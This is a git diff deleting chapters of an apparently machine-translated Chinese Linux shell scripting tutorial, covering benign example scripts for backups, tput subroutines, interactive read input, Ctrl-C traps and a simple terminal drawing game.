-例如,不久前,我使用`mkfs`命令在外部 1tbu 盘上开始格式化操作。它花了几天时间完成,我想知道确切的时间,这样我就可以继续使用驱动器。 - -# 创建编号备份文件 - -现在作为奖励,这里有一个可以运行的脚本,可以用来制作编号的备份文件。在我想出这个方法之前(很多年前),我会经历手工制作备份的仪式。我的编号方案并不总是一致的,我很快意识到让脚本来做会更容易。这是计算机真正擅长的。 - -我把这个剧本叫做`cbS`。这是我很久以前写的,我甚至不知道它代表什么。也许是**电脑备份脚本**之类的。 - -## 第 3 章–脚本 13 - -```sh -#!/bin/sh -# -echo "cbS by Lewis 5/4/2017" - -if [ $# -eq 0 ] ; then - echo "Usage: cbS filename(s) " - echo " Will make a numbered backup of the files(s) given." - echo " Files must be in the current directory." - exit 255 -fi - -rc=0 # return code, default is no error -for fn in $* # for each filename given on the command line -do - if [ ! -f $fn ] ; then # if not found - echo "File $fn not found." - rc=1 # one or more files were not found - else - cnt=1 # file counter - loop1=0 # loop flag - while [ $loop1 -eq 0 ] - do - tmp=bak-$cnt.$fn - if [ ! -f $tmp ] ; then - cp $fn $tmp - echo "File "$tmp" created." - loop1=1 # end the inner loop - else - let cnt++ # try the next one - fi - done - fi -done - -exit $rc # exit with return code -``` - -它以`Usage`消息开始,因为它至少需要一个文件名来工作。 - -注意这个命令要求文件在当前目录下,所以做类似`cbS /tmp/file1.txt`的事情会产生错误。 - -`rc`变量初始化为`0`。如果找不到文件,将设置为`1`。 - -现在让我们看看内环。这里的逻辑是使用`cp`命令从原始文件创建一个备份文件。备份文件的命名方案是`bak-(number).original-filename`,其中`number`是序列中的下一个。代码通过浏览所有`bak-#.filename`文件直到找不到一个,来确定下一个数字是什么。然后,该文件将成为新的文件名。 - -让这个进入你的系统。您可以随意给它命名,但是要注意不要给它命名为现有的 Linux 命令。使用`which`命令进行检查。 - -以下是我的系统上的一些输出示例: - -![Chapter 3 – Script 13](img/B07040_03_09.jpg) - -这个脚本可以大大改进。可以使用路径/文件,并且应该检查`cp`命令的错误。这种级别的编码将在后面的章节中介绍。 - -# 总结 - -在本章中,我们介绍了不同类型的循环语句以及它们之间的区别。嵌套循环和`sleep`命令也包括在内。还提到了使用`sleep`命令时的常见陷阱,并介绍了一个备份脚本来展示如何轻松创建编号备份文件。 - -在下一章中,我们将讨论子程序的创建和调用。 \ No newline at end of file diff --git a/docs/linux-shell-script-bc/04.md b/docs/linux-shell-script-bc/04.md deleted file mode 100644 index 9b1660ab..00000000 --- a/docs/linux-shell-script-bc/04.md +++ /dev/null @@ -1,562 +0,0 @@ -# 四、创建和调用子程序 - -本章展示了如何在脚本中创建和调用子程序。 - -本章涵盖的主题如下: - -* 展示一些简单的子程序。 -* 展示更高级的套路。 -* 再次提及返回代码以及它们在脚本中的工作方式。 - -在前面的章节中,我们看到的大多是简单的脚本,并不是很复杂。脚本实际上可以做很多我们即将看到的事情。 - -首先,让我们从一些简单但强大的脚本开始。这些主要是为了让读者了解使用脚本可以快速完成什么。 - -# 清除屏幕 - -`tput clear`终端命令可用于清除当前命令行会话。你可以一直输入`tput clear`,但不就是`cls`更好吗? - -以下是清除当前屏幕的简单脚本: - -## 第四章-剧本 1 - -```sh -#!/bin/sh -# -# 5/8/2017 -# -tput clear -``` - -请注意,这非常简单,我甚至懒得包含一条`Usage`消息或返回代码。请记住,要使此命令在您的系统上生效,请执行以下操作: - -* `cd $HOME/bin` -* 创建/编辑名为`cls`的文件 -* 将前面的代码复制并粘贴到该文件中 -* 保存文件 -* 运行`chmod 755 cls` - -您现在可以从任何终端(该用户下方)输入`cls`,您的屏幕将会清除。试试看。 - -# 文件重定向 - -此时我们需要检查文件重定向。这是一种将命令或脚本的输出复制到文件中而不是转到屏幕上的能力。这是通过使用重定向操作符来完成的,它实际上只是大于号。 - -以下是在我的系统上运行的一些命令的截图: - -![File redirection](img/B07040_04_01.jpg) - -如你所见,`ifconfig`命令的输出被发送(或重定向)到`ifconfig.txt`文件。 - -# 命令管道 - -现在让我们来看看命令管道,它能够运行一个命令,并将其输出作为另一个命令的输入。 - -假设一个名为`loop1`的程序或脚本正在你的系统上运行,你想知道它的 PID。您可以将`ps auxw`命令运行到一个文件,然后将`grep`文件用于`loop1`。或者,您可以使用管道一步完成,如下所示: - -![Command piping](img/B07040_04_02.jpg) - -很酷,对吧?这是 Linux 系统中一个非常强大的特性,并且被广泛使用。我们很快会看到更多这样的事情。 - -下一节展示了另一个使用一些命令管道的非常短的脚本。这将清除屏幕,然后仅显示从`dmesg`开始的前 10 行: - -## 第四章-剧本 2 - -```sh -#!/bin/sh -# -# 5/8/2017 -# -tput clear -dmesg | head -``` - -这是输出: - -![Chapter 4 - Script 2](img/B07040_04_03.jpg) - -下一节显示文件重定向。 - -## 第四章-剧本 3 - -```sh -#!/bin/sh -# -# 5/8/2017 -# -FN=/tmp/dmesg.txt -dmesg > $FN -echo "File $FN created." -exit 0 -``` - -在你的系统上试试。 - -这个显示了创建一个脚本来执行您通常在命令行中键入的命令是多么容易。还要注意`FN`变量的使用。如果您想以后使用不同的文件名,您只需在一个地方进行更改。 - -# 子程序 - -现在让我们真正进入子程序。为此,我们将使用更多的`tput`命令: - -```sh -tput cup # moves the cursor to row, col -tput cup 0 0 # cursor to the upper left hand side -tput cup $LINES $COLUMNS # cursor to bottom right hand side -tput clear # clears the terminal screen -tput smso # bolds the text that follows -tput rmso # un-bolds the text that follows -``` - -这是剧本。这主要是为了展示子程序的概念,然而,它也可以作为编写交互工具的指南。 - -## 第四章-剧本 4 - -```sh -#!/bin/sh -# 6/13/2017 -# script4 - -# Subroutines -cls() -{ - tput clear - return 0 -} - -home() -{ - tput cup 0 0 - return 0 -} - -end() -{ - let x=$COLUMNS-1 - tput cup $LINES $x - echo -n "X" # no newline or else will scroll -} - -bold() -{ - tput smso -} - -unbold() -{ - tput rmso -} - -underline() -{ - tput smul -} - -normalline() -{ - tput rmul -} - -# Code starts here -rc=0 # return code -if [ $# -ne 1 ] ; then - echo "Usage: script4 parameter" - echo "Where parameter can be: " - echo " home - put an X at the home position" - echo " cls - clear the terminal screen" - echo " end - put an X at the last screen position" - echo " bold - bold the following output" - echo " underline - underline the following output" - exit 255 -fi - -parm=$1 # main parameter 1 - -if [ "$parm" = "home" ] ; then - echo "Calling subroutine home." - home - echo -n "X" -elif [ "$parm" = "cls" ] ; then - cls -elif [ "$parm" = "end" ] ; then - echo "Calling subroutine end." - end -elif [ "$parm" = "bold" ] ; then - echo "Calling subroutine bold." - bold - echo "After calling subroutine bold." - unbold - echo "After calling subroutine unbold." -elif [ "$parm" = "underline" ] ; then - echo "Calling subroutine underline." - underline - echo "After subroutine underline." - normalline - echo "After subroutine normalline." -else - echo "Unknown parameter: $parm" - rc=1 -fi - -exit $rc -``` - -以下是输出: - -![Chapter 4 - Script 4](img/B07040_04_04.jpg) - -在你的系统上试试这个。如果你用`home`参数运行它,你可能会觉得有点奇怪。代码在`home position` (0,0)处加上一个大写的`X`,这将导致提示打印一个字符。这里没什么问题,只是看起来有点奇怪。别担心,如果这对你来说还是没有意义,那就继续看*剧本 5* 。 - -# 使用参数 - -好了,让我们在这个脚本中添加一些例程来展示如何使用带有`subroutine`的参数。为了使输出看起来更好,首先调用`cls`例程来清除屏幕: - -## 第四章-剧本 5 - -```sh -#!/bin/sh -# 6/13/2017 -# script5 - -# Subroutines -cls() -{ - tput clear - return 0 -} - -home() -{ - tput cup 0 0 - return 0 -} - -end() -{ - let x=$COLUMNS-1 - tput cup $LINES $x - echo -n "X" # no newline or else will scroll -} - -bold() -{ - tput smso -} - -unbold() -{ - tput rmso -} - -underline() -{ - tput smul -} - -normalline() -{ - tput rmul -} - -move() # move cursor to row, col -{ - tput cup $1 $2 -} - -movestr() # move cursor to row, col -{ - tput cup $1 $2 - echo $3 -} - -# Code starts here -cls # clear the screen to make the output look better -rc=0 # return code -if [ $# -ne 1 ] ; then - echo "Usage: script5 parameter" - echo "Where parameter can be: " - echo " home - put an X at the home position" - echo " cls - clear the terminal screen" - echo " end - put an X at the last screen position" - echo " bold - bold the following output" - echo " underline - underline the following output" - echo " move - move cursor to row,col" - echo " movestr - move cursor to row,col and output string" - exit 255 -fi - -parm=$1 # main parameter 1 - -if [ "$parm" = "home" ] ; then - home - echo -n "X" -elif [ "$parm" = "cls" ] ; then - cls -elif [ "$parm" = "end" ] ; then - move 0 0 - echo "Calling subroutine end." -end -elif [ "$parm" = "bold" ] ; then - echo "Calling subroutine bold." - bold - echo "After calling subroutine bold." - unbold - echo "After calling subroutine unbold." -elif [ "$parm" = "underline" ] ; then - echo "Calling subroutine underline." - underline - echo "After subroutine underline." - normalline - echo "After subroutine normalline." -elif [ "$parm" = "move" ] ; then - move 10 20 - echo "This line started at row 10 col 20" -elif [ "$parm" = "movestr" ] ; then - movestr 15 40 "This line started at 15 40" -else - echo "Unknown parameter: $parm" - rc=1 -fi - -exit $rc -``` - -由于这个脚本只有两个额外的功能,你可以直接运行它们。这将一次显示一个命令,如下所示: - -```sh -guest1 $ script5 -``` - -![Chapter 4 - Script 5](img/B07040_04_05.jpg) - -```sh -guest1 $ script5 move -``` - -![Chapter 4 - Script 5](img/B07040_04_06.jpg) - -```sh -guest1 $ script5 movestr -``` - -![Chapter 4 - Script 5](img/B07040_04_07.jpg) - -由于我们现在将光标放在一个特定的位置,输出应该对您更有意义。请注意命令行提示符是如何重新出现在最后一个光标位置的。 - -您可能注意到子程序的参数就像脚本一样工作。参数 1 为`$1`,参数 2 为`$2`,以此类推。这是好的也是坏的,好的是因为你不需要学习任何完全不同的东西。但糟糕的是,如果不小心,很容易把`$1`、`$2`、vars 搞混。 - -一个可能的解决方案,也是我使用的解决方案,是将主脚本中的`$1`、`$2`等变量赋给一个有好的有意义的名字的变量。 - -例如,在这些示例脚本中,我将`parm1`设置为等于`$1 (parm1=$1)`,以此类推。 - -好好看看下一部分的脚本: - -## 第四章-剧本 6 - -```sh -#!/bin/sh -# -# 6/13/2017 -# script6 - -# Subroutines -sub1() -{ - echo "Entering sub1" - rc1=0 # default is no error - if [ $# -ne 1 ] ; then - echo "sub1 requires 1 parameter" - rc1=1 # set error condition - else - echo "1st parm: $1" - fi - - echo "Leaving sub1" - return $rc1 # routine return code -} - -sub2() -{ - echo "Entering sub2" - rc2=0 # default is no error - if [ $# -ne 2 ] ; then - echo "sub2 requires 2 parameters" - rc2=1 # set error condition - else - echo "1st parm: $1" - echo "2nd parm: $2" - fi - echo "Leaving sub2" - return $rc2 # routine return code -} - -sub3() -{ - echo "Entering sub3" - rc3=0 # default is no error - if [ $# -ne 3 ] ; then - echo "sub3 requires 3 parameters" - rc3=1 # set error condition - else - echo "1st parm: $1" - echo "2nd parm: $2" - echo "3rd parm: $3" - fi - echo "Leaving sub3" - return $rc3 # routine return code -} - -cls() # clear screen -{ - tput clear - return $? # return code from tput -} - -causeanerror() -{ - echo "Entering causeanerror" - tput firephasers - return $? # return code from tput -} - -# Code starts here -cls # clear the screen -rc=$? -echo "return code from cls: $rc" -rc=0 # reset the return code -if [ $# -ne 3 ] ; then - echo "Usage: script6 parameter1 parameter2 parameter3" - echo "Where all parameters are simple strings." - exit 255 -fi - -parm1=$1 # main parameter 1 -parm2=$2 # main parameter 2 -parm3=$3 # main parameter 3 - -# show main parameters -echo "parm1: $parm1 parm2: $parm2 parm3: $parm3" - -sub1 "sub1-parm1" -echo "return code from sub1: $?" - -sub2 "sub2-parm1" -echo "return code from sub2: $?" - -sub3 $parm1 $parm2 $parm3 -echo "return code from sub3: $?" - -causeanerror -echo "return code from causeanerror: $?" - -exit $rc -``` - -这里是输出 - -![Chapter 4 - Script 6](img/B07040_04_08.jpg) - -这里有一些新概念,所以我们将非常仔细地研究这一个。 - -首先,我们定义子程序。请注意,已经添加了返回代码。还包括了一个`cls`例程,以便显示返回代码。 - -我们现在处于代码的开始。调用`cls`例程,然后其返回值存储在`rc`变量中。然后将显示显示这是哪个脚本的`echo`语句。 - -那么,为什么我要把`cls`命令的返回代码放入`rc` var 呢?难道我就不能在剧本标题的`echo`后面展示一下吗?不,因为`echo $?`总是指紧接在它前面的命令。这很容易忘记,所以一定要明白这一点。 - -好的,现在我们将`rc` var 重置为`0`并继续。我本可以使用不同的变量,但是由于`rc`的值将不再需要,我选择重用`rc`变量。 - -现在,在检查参数时,如果没有三个参数,将显示`Usage`语句。 - -输入三个参数后,我们显示它们。这总是一个好主意,尤其是在第一次写脚本/程序的时候。如果不需要的话,以后可以随时拿出来。 - -第一个子程序`sub1`使用`1`参数运行。如果需要,这将被选中并显示一个错误。 - -同样的事情也发生在`sub2`上,但是在这种情况下,我故意将其设置为仅使用一个参数运行,以便显示错误消息。 - -对于`sub3`,可以看到主要参数仍然可以从子程序中访问。事实上,所有的命名变量都是,还有通配符`*`和其他文件扩展标记。只有主脚本参数无法访问,这就是为什么我们将它们放入变量中。 - -创建最后一个例程是为了展示如何处理错误。可以看到`tput`命令本身显示了错误,然后我们也在脚本中捕捉到了。 - -最后,脚本以主`rc`变量退出。 - -如前所述,这个脚本有很多内容,所以一定要仔细研究。请注意,当我想在`tput`中显示一个错误时,我只是假设`firephasers`将是一个未知的命令。如果真的有相位器从我的电脑里射出(或者更糟,射进)我会很惊讶! - -# 对您的工作进行当前备份 - -现在,对于的另一个奖励,下一部分显示了我用来每 60 秒备份一次当前书籍章节的脚本: - -## 第 4 章–脚本 7 - -```sh -#!/bin/sh -# -# Auto backs up the file given if it has changed -# Assumes the cbS command exists -# Checks that ../back exists -# Copies to specific USB directory -# Checks if filename.bak exists on startup, copy if it doesn't - -echo "autobackup by Lewis 5/9/2017 A" -if [ $# -ne 3 ] ; then - echo "Usage: autobackup filename USB-backup-dir delay" - exit 255 -fi - -# Create back directory if it does not exist -if [ ! -d back ] ; then - mkdir back -fi - -FN=$1 # filename to monitor -USBdir=$2 # USB directory to copy to -DELAY=$3 # how often to check - -if [ ! -f $FN ] ; then # if no filename abort - echo "File: $FN does not exist." - exit 5 -fi - -if [ ! -f $FN.bak ] ; then - cp $FN $FN.bak -fi - -filechanged=0 -while [ 1 ] -do - cmp $FN $FN.bak - rc=$? - if [ $rc -ne 0 ] ; then - cp $FN back - cp $FN $USBdir - cd back - cbS $FN - cd .. - cp $FN $FN.bak - filechanged=1 - fi - - sleep $DELAY -done -``` - -对于我系统上的输出 - -![Chapter 4 – Script 7](img/B07040_04_09.jpg) - -这个脚本中没有太多我们没有涉及到的内容。最上面的非正式评论主要是给我的,这样我就不会忘记我写了什么或者为什么。 - -检查参数,如果还不存在,则创建后子目录。我似乎永远记不住要创作它,所以我让剧本来做。 - -接下来,设置主变量,如果不存在`.bak`文件,则创建该文件(这有助于逻辑)。 - -在`while`循环中,你可以看到它永远在运行,`cmp` Linux 命令用于查看原始文件是否与备份文件有所不同。如果是,则`cmp`命令返回非零值,并且使用我们的`cbS`脚本将文件复制回`subdir`作为编号备份。文件也被复制到备份目录,在这种情况下是我的 u 盘。循环一直持续到我开始新的一章,在这种情况下我按 *Ctrl* + *C* 退出。 - -这是脚本自动化的一个很好的例子,将在[第 6 章](06.html "Chapter 6. Automating Tasks with Scripts")、*用脚本自动化任务*中更详细地介绍。 - -# 总结 - -我们从一些非常简单的脚本开始,然后开始展示一些简单的子程序。 - -然后我们展示了一些接受参数的子程序。返回代码再次被提到,以显示它们如何在子程序中工作。我们包括几个脚本来展示概念,还包括一个特殊的奖金脚本,不收取额外费用。 - -在下一章中,我们将讨论如何创建交互式脚本。 \ No newline at end of file diff --git a/docs/linux-shell-script-bc/05.md b/docs/linux-shell-script-bc/05.md deleted file mode 100644 index bb960312..00000000 --- a/docs/linux-shell-script-bc/05.md +++ /dev/null @@ -1,606 +0,0 @@ -# 五、创建交互式脚本 - -本章介绍如何阅读键盘以创建交互式脚本。 - -本章涵盖的主题有: - -* 如何使用`read`内置命令查询键盘。 -* `read`的不同使用方式。 -* 陷阱(中断)的使用。 - -读者将学习如何创建交互式脚本。 - -到目前为止,我们看到的脚本运行时没有太多的用户交互。`read`命令用于创建可以查询键盘的脚本。然后,代码可以根据输入采取行动。 - -这里是一个简单的例子: - -# 第五章-剧本 1 - -```sh -#!/bin/sh -# -# 5/16/2017 -# -echo "script1 - Linux Scripting Book" - -echo "Enter 'q' to quit." -rc=0 -while [ $rc -eq 0 ] -do - echo -n "Enter a string: " - read str - echo "str: $str" - if [ "$str" = "q" ] ; then - rc=1 - fi -done - -echo "End of script1" -exit 0 -``` - -这是在我的系统上运行时的输出: - -![Chapter 5 - Script 1](img/B07040_05_01.jpg) - -这是一个在你的系统上运行的好程序。尝试几种不同的字符串、数字等。注意返回的字符串如何包含空白、特殊字符等等。你不需要引用任何东西,如果你引用了,它们也会被退回。 - -您也可以使用`read`命令在脚本中放置一个简单的暂停。这将允许您在输出滚出屏幕之前看到输出。调试时也可以使用,详见[第九章](09.html "Chapter 9. Debugging Scripts")、*调试脚本*。 - -以下脚本显示了如何在输出到达屏幕最后一行时创建暂停: - -## 第五章-剧本 2 - -```sh -#!/bin/sh -# -# 5/16/2017 -# Chapter 5 - Script 2 -# -linecnt=1 # line counter -loop=0 # loop control var -while [ $loop -eq 0 ] -do - echo "$linecnt $RANDOM" # display next random number - let linecnt++ - if [ $linecnt -eq $LINES ] ; then - linecnt=1 - echo -n "Press Enter to continue or q to quit: " - read str # pause - if [ "$str" = "q" ] ; then - loop=1 # end the loop - fi - fi -done - -echo "End of script2" -exit 0 -``` - -这里是在我的系统上运行时的输出: - -![Chapter 5 - Script 2](img/B07040_05_02.jpg) - -我按了两次*进入*,然后最后一次*Q**进入*。 - -让我们尝试一些更有趣的东西。下一个脚本显示了如何用取自键盘的值填充数组: - -## 第五章-剧本 3 - -```sh -#!/bin/sh -# -# 5/16/2017 -# -echo "script3 - Linux Scripting Book" - -if [ "$1" = "--help" ] ; then - echo "Usage: script3" - echo " Queries the user for values and puts them into an array." - echo " Entering 'q' will halt the script." - echo " Running 'script3 --help' shows this Usage message." - exit 255 -fi - -x=0 # subscript into array -loop=0 # loop control variable -while [ $loop -eq 0 ] -do - echo -n "Enter a value or q to quit: " - read value - if [ "$value" = "q" ] ; then - loop=1 - else - array[$x]="$value" - let x++ - fi -done - -let size=x -x=0 -while [ $x -lt $size ] -do - echo "array $x: ${array[x]}" - let x++ -done - -echo "End of script3" -exit 0 -``` - -而输出: - -![Chapter 5 - Script 3](img/B07040_05_03.jpg) - -由于这个脚本不需要任何参数,我决定添加一个`Usage`语句。如果用户使用`--help`运行它,这将会显示,并且是许多系统脚本和程序中的常见功能。 - -这个脚本中唯一新的是`read`命令。`loop`和`array`变量在前面的章节中讨论过。再次注意,使用`read`命令,您键入的内容就是您得到的内容。 - -现在让我们创建一个完整的交互式脚本。但是首先我们需要检查当前终端的大小。如果它太小,您的脚本输出可能会变得混乱,用户可能不知道为什么或如何修复它。 - -以下脚本包含检查终端大小的子例程: - -## 第五章-剧本 4 - -```sh -#!/bin/sh -# -# 5/16/2017 -# -echo "script4 - Linux Scripting Book" - -checktermsize() -{ - rc1=0 # default is no error - if [[ $LINES -lt $1 || $COLUMNS -lt $2 ]] ; then - rc1=1 # set return code - fi - return $rc1 -} - -rc=0 # default is no error -checktermsize 40 90 # check terminal size -rc=$? -if [ $rc -ne 0 ] ; then - echo "Return code: $rc from checktermsize" -fi - -exit $rc -``` - -用不同尺寸的终端在你的系统上运行检查结果。从代码中可以看出,如果终端比需要的大,也没关系;它不能太小。 - -### 注 - -关于端子尺寸的一句话:当使用`tput`光标移动命令时,记住它是行然后是列。然而,大多数现代图形用户界面是先按列再按行的。这是不幸的,因为很容易把它们搞混。 - -现在让我们看一个完整的交互式脚本: - -## 第五章-剧本 5 - -```sh -#!/bin/sh -# -# 5/27/2017 -# -echo "script5 - Linux Scripting Book" - -# Subroutines -cls() -{ - tput clear -} - -move() # move cursor to row, col -{ - tput cup $1 $2 -} - -movestr() # move cursor to row, col -{ - tput cup $1 $2 - echo -n "$3" # display string -} - -checktermsize() -{ - rc1=0 # default is no error - if [[ $LINES -lt $1 || $COLUMNS -lt $2 ]] ; then - rc1=1 # set return code - fi - return $rc1 -} - -init() # set up the cursor position array -{ - srow[0]=2; scol[0]=7 # name - srow[1]=4; scol[1]=12 # address 1 - srow[2]=6; scol[2]=12 # address 2 - srow[3]=8; scol[3]=7 # city - srow[4]=8; scol[4]=37 # state - srow[5]=8; scol[5]=52 # zip code - srow[6]=10; scol[6]=8 # email -} - -drawscreen() # main screen draw routine -{ - cls # clear the screen - movestr 0 25 "Chapter 5 - Script 5" - movestr 2 1 "Name:" - movestr 4 1 "Address 1:" - movestr 6 1 "Address 2:" - movestr 8 1 "City:" - movestr 8 30 "State:" - movestr 8 42 "Zip code:" - movestr 10 1 "Email:" -} - -getdata() -{ - x=0 # array subscript - rc1=0 # loop control variable - while [ $rc1 -eq 0 ] - do - row=${srow[x]}; col=${scol[x]} - move $row $col - read array[x] - let x++ - if [ $x -eq $sizeofarray ] ; then - rc1=1 - fi - done - return 0 -} - -showdata() -{ - fn=0 - echo "" - read -p "Enter filename, or just Enter to skip: " filename - if [ -n "$filename" ] ; then # if not blank - echo "Writing to '$filename'" - fn=1 # a filename was given - fi - echo "" # skip 1 line - echo "Data array contents: " - y=0 - while [ $y -lt $sizeofarray ] - do - echo "$y - ${array[$y]}" - if [ $fn -eq 1 ] ; then - echo "$y - ${array[$y]}">>"$filename" - fi - let y++ - done - return 0 -} - -# Code starts here -sizeofarray=7 # number of array elements - -if [ "$1" = "--help" ] ; then - echo "Usage: script5 --help" - echo " This script shows how to create an interactive screen program." - exit 255 -fi - -checktermsize 25 80 -rc=$? -if [ $rc -ne 0 ] ; then - echo "Please size the terminal to 25x80 and try again." - exit 1 -fi - -init # initialize the screen array -drawscreen # draw the screen -getdata # cursor movement and data input routine -showdata # display the data - -exit 0 -``` - -下面是的一些示例输出: - -![Chapter 5 - Script 5](img/B07040_05_04.jpg) - -这里有很多新的信息,让我们来看看。首先定义子程序,可以看到我们从前面的*脚本 4* 中包含了`checktermsize` 子程序。 - -`init`例程设置光标放置数组。将初始值放在子程序中是很好的编程实践,尤其是当它将被再次调用时。 - -`drawscreen`程序显示初始形式。请注意,我可以在这里使用`srow`和`scol`数组中的值,但是,我不希望脚本看起来太混乱。 - -仔细观察`getdata`程序,因为这是乐趣开始的地方: - -* 首先将数组下标`x`和控制变量`rc1`设置为`0`。 -* 在循环中,光标放在第一个位置(`Name:`)。 -* 查询键盘,用户的输入进入子`x`的数组。 -* `x`递增,我们进入下一个字段。 -* 如果`x`等于数组的大小,我们就离开循环。请记住,我们从`0`开始计数。 - -`showdata`例程显示数组数据,然后我们就完成了。 - -### 类型 - -请注意,如果使用`--help`选项运行脚本,将显示`Usage`消息。 - -这只是一个展示基本概念的交互式脚本的小例子。在后面的章节中,我们将更详细地探讨这一点。 - -`read`命令可以以多种不同的方式使用。这里有几个例子: - -```sh -read var -Wait for input of characters into the variable var. -read -p "string" var -Display contents of string, stay on the line, and wait for input. - -read -p "Enter password:" -s var -Display "Enter password:", but do not echo the typing of the input. Note that a carriage return is not output after Enter is pressed. - -read -n 1 var -``` - -`-n`选项表示等待该字符数后继续,它不等待*输入*键。 - -在本例中,它将等待 1 个字符,然后离开。这在实用程序脚本和游戏中非常有用: - -## 第五章-剧本 6 - -```sh -#!/bin/sh -# -# 5/27/2017 -# -echo "Chapter 5 - Script 6" - -rc=0 # return code -while [ $rc -eq 0 ] -do - read -p "Enter value or q to quit: " var - echo "var: $var" - if [ "$var" = "q" ] ; then - rc=1 - fi -done - -rc=0 # return code -while [ $rc -eq 0 ] -do - read -p "Password: " -s var - echo "" # carriage return - echo "var: $var" -if [ "$var" = "q" ] ; then - rc=1 - fi -done - -echo "Press some keys and q to quit." -rc=0 # return code -while [ $rc -eq 0 ] -do - read -n 1 -s var # wait for 1 char, does not output it - echo $var # output it here - if [ "$var" = "q" ] ; then - rc=1 - fi -done - -exit $rc -``` - -和的输出: - -![Chapter 5 - Script 6](img/B07040_05_05.jpg) - -脚本中的注释应该会使这个变得非常不言自明。`read`命令还有几个选项,其中一个将在下一个脚本中显示。 - -另一种查询键盘的方法是使用所谓的陷阱。这是一个子程序,当按下一个特殊的键序列时,如 *Ctrl* + *C* 进入。 - -下面是一个使用陷阱的例子: - -## 第五章-剧本 7 - -```sh -#!/bin/sh -# -# 5/16/2017 -# -echo "script7 - Linux Scripting Book" - -trap catchCtrlC INT # Initialize the trap - -# Subroutines -catchCtrlC() -{ - echo "Entering catchCtrlC routine." -} - -# Code starts here - -echo "Press Ctrl-C to trigger the trap, 'Q' to exit." - -loop=0 -while [ $loop -eq 0 ] -do - read -t 1 -n 1 str # wait 1 sec for input or for 1 char - rc=$? - - if [ $rc -gt 128 ] ; then - echo "Timeout exceeded." - fi - - if [ "$str" = "Q" ] ; then - echo "Exiting the script." - loop=1 - fi - -done - -exit 0 -``` - -这里是我系统上的输出: - -![Chapter 5 - Script 7](img/B07040_05_06.jpg) - -试试在你的系统上运行这个。按一些键,看看反应。按几次 *Ctrl* + *C* 也可以。完成后,按下 *Q* 。 - -那个`read`的说法需要进一步解释。将`read`与`-t`选项一起使用(超时)意味着为一个角色等待那么多秒。如果在分配的时间内没有输入,它将返回一个值大于 128 的代码。正如我们之前看到的,`-n 1`选项告诉`read`等待 1 个字符。这意味着我们在等待 1 秒钟,等待 1 个字符。这是另一种方式`read`可以用来创建游戏或其他交互式脚本。 - -### 注 - -使用陷阱是捕捉意外按下 *Ctrl* + *C* 的好方法,这可能会导致数据丢失。不过,有一点要注意,如果你真的决定要抓住 *Ctrl* + *C* 的话,确保你的脚本有其他的退出方式。在上面的简单脚本中,用户必须键入 a *Q* 才能退出。 - -如果您遇到无法退出脚本的情况,可以使用`kill`命令。 - -例如,如果我需要停止`script7`,方向如下: - -```sh - guest1 $ ps auxw | grep script7 - guest1 17813 0.0 0.0 106112 1252 pts/32 S+ 17:23 0:00 /bin/sh ./script7 - guest1 17900 0.0 0.0 103316 864 pts/18 S+ 17:23 0:00 grep script7 - guest1 29880 0.0 0.0 10752 1148 pts/17 S+ 16:47 0:00 kw script7 - guest1 $ kill -9 17813 - guest1 $ -``` - -在`script7`正在运行的终端中,您会看到它已经停止,并带有`Killed`字样。 - -注意,一定要杀对流程! - -在上面的例子中,PID `29880`是我正在编写`script7`的文本编辑器会话。杀人不是个好主意:)。 - -现在找点乐子!下一个脚本允许您在屏幕上绘制粗糙的图片: - -## 第五章-剧本 8 - -```sh -#!/bin/sh -# -# 5/16/2017 -# -echo "script8 - Linux Scripting Book" - -# Subroutines -cls() -{ - tput clear -} - -move() # move cursor to row, col -{ - tput cup $1 $2 -} - -movestr() # move cursor to row, col -{ - tput cup $1 $2 - echo -n "$3" # display string -} - -init() # set initial values -{ - minrow=1 # terminal boundaries - maxrow=24 - mincol=0 - maxcol=79 - startrow=1 - startcol=0 -} - -restart() # clears screen, sets initial cursor position -{ - cls - movestr 0 0 "Arrow keys move cursor. 'x' to draw, 'd' to erase, '+' to restart, 'Q' to quit." - row=$startrow - col=$startcol - - draw=0 # default is not drawing - drawchar="" -} - -checktermsize2() # must be the specified size -{ - rc1=0 # default is no error - if [[ $LINES -ne $1 || $COLUMNS -ne $2 ]] ; then - rc1=1 # set return code - fi - return $rc1 -} - -# Code starts here -if [ "$1" = "--help" ] ; then - echo "Usage: script7 --help" - echo " This script shows the basics on how to create a game." - echo " Use the arrow keys to move the cursor." - echo " Press c to restart and Q to quit." - exit 255 -fi - -checktermsize2 25 80 # terminal must be this size -rc=$? -if [ $rc -ne 0 ] ; then - echo "Please size the terminal to 25x80 and try again." - exit 1 -fi - -init # initialize values -restart # set starting cursor pos and clear screen - -loop=1 -while [ $loop -eq 1 ] -do - move $row $col # position the cursor here - read -n 1 -s ch - - case "$ch" in - A) if [ $row -gt $minrow ] ; then - let row-- - fi - ;; - B) if [ $row -lt $maxrow ] ; then - let row++ - fi - ;; - C) if [ $col -lt $maxcol ] ; then - let col++ - fi - ;; - D) if [ $col -gt $mincol ] ; then - let col-- - fi - ;; - d) echo -n "" # delete char - ;; - x) if [ $col -lt $maxcol ] ; then - echo -n "X" # put char - let col++ - fi - ;; - +) restart ;; - Q) loop=0 ;; - esac -done - -movestr 24 0 "Script completed normally." -echo "" # carriage return - -exit 0 -``` - -这个写起来很有趣,玩起来也比我想象的要有趣一点。 - -有一件事我们还没有涉及到`case`声明。这类似于`if...then...else`,但使代码更容易阅读。基本上,在每个`case`子句中检查输入到`read`语句的值是否匹配。如果匹配,则执行该节,然后控制转到`esac`语句之后的行。如果没有匹配,它也会这样做。 - -试试这个脚本,记得把终端做成 25x80(或者 80x25,如果你的图形用户界面是这样工作的)。 - -这里只是这个脚本可以做什么的一个例子: - -![Chapter 5 - Script 8](img/B07040_05_07.jpg) - -好吧,我想这表明我不是一个艺术家。我会坚持编程和写书。 - -# 总结 - -本章我们展示了如何使用`read`内置命令查询键盘。我们解释了一些不同的阅读选项,还介绍了陷阱的使用。还包括一个简单的绘画游戏。 - -下一章将展示如何自动化脚本,以便它可以无人值守地运行。我们将解释如何使用`cron`在特定时间运行脚本。档案程序`zip`和`tar`也将包括在内,因为它们在创建自动备份脚本时非常有用。 \ No newline at end of file diff --git a/docs/linux-shell-script-bc/06.md b/docs/linux-shell-script-bc/06.md deleted file mode 100644 index 3c7915e3..00000000 --- a/docs/linux-shell-script-bc/06.md +++ /dev/null @@ -1,620 +0,0 @@ -# 六、使用脚本自动执行任务 - -本章展示了如何使用脚本自动执行各种任务。 - -本章涵盖的主题如下: - -* 如何创建脚本来自动执行任务? -* 使用 cron 在特定时间自动运行脚本的正确方法。 -* 如何使用`ZIP`和`TAR`进行压缩备份。 -* 源代码示例。 - 